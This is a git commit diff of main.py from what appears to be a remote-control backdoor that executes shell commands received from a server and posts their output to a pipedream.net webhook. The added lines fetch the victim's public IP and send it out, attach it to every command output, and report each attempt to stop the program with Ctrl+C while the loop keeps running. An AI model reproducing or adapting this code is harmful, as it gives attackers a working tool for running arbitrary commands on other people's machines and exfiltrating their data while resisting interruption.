summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-15 23:10:59 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-15 23:10:59 +0800
commitba12c5ae5ec3d9d36829ea39464d049abed9bf23 (patch)
tree79b586e2468d39d4cf34084453e0d469c52651c2 /main.py
parent57b7365387d8031b45b22e702771ca3941e49053 (diff)
updated
Diffstat (limited to 'main.py')
-rw-r--r--main.py10
1 files changed, 9 insertions, 1 deletions
diff --git a/main.py b/main.py
index 1adeb38..1ae8581 100644
--- a/main.py
+++ b/main.py
@@ -5,7 +5,11 @@ try:
old_command = ""
command = ""
+
+ ip = get('https://api.ipify.org').content.decode('utf8')
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"IP: {ip}")
except KeyboardInterrupt:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when init")
pass
while True:
@@ -18,6 +22,7 @@ while True:
sleep(5)
continue
except KeyboardInterrupt:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) with sleeping(cuz of discord api timeout)")
continue
except:
print("Failed to connect to server")
@@ -28,8 +33,9 @@ while True:
cmdout = system(command, shell=True)
if cmdout != "":
try:
- post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout)
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: {cmdout}")
except KeyboardInterrupt:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when trying to post output")
continue
except:
print("Failed to sent output")
@@ -41,6 +47,8 @@ while True:
try:
sleep(0.1)
except KeyboardInterrupt:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C)")
continue
except KeyboardInterrupt:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C)")
continue